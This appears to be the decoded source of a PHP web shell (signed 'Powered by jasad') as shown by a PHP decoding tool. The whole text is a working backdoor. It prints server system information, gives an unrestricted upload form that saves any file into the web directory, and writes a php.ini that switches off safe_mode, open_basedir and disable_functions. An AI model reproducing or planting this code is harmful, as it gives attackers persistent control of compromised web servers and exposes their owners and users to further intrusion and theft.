PHP Decode

echo '<center>';echo '<title>'.$_SERVER["HTTP_HOST"].'</title>';echo '<blink><i>Powered by jasad</i></blink></br>';echo '<i>tjm:'.php_uname().'</i><br></b>';echo '<form action="" method="post" enctype="multipart/form-data" name="u" id="u">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="U"></form>';if( $_POST['_upl'] == "U" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>S</b><br><br>'; }else { echo '<b>G</b><br><br>'; }}echo '</center>';@error_reporting(E_ALL ^ E_NOTICE);$phpini_contents  = "safe_mode = Off
safe_mode_gid = Off
safe_mode_include_dir =
safe_mode_exec_dir =
open_basedir =
disable_functions =
disable_classes =
file_uploads = On
allow_url_fopen = On";$phpini_file =@fopen ('php.ini','w');fwrite($phpini_file ,$phpini_contents);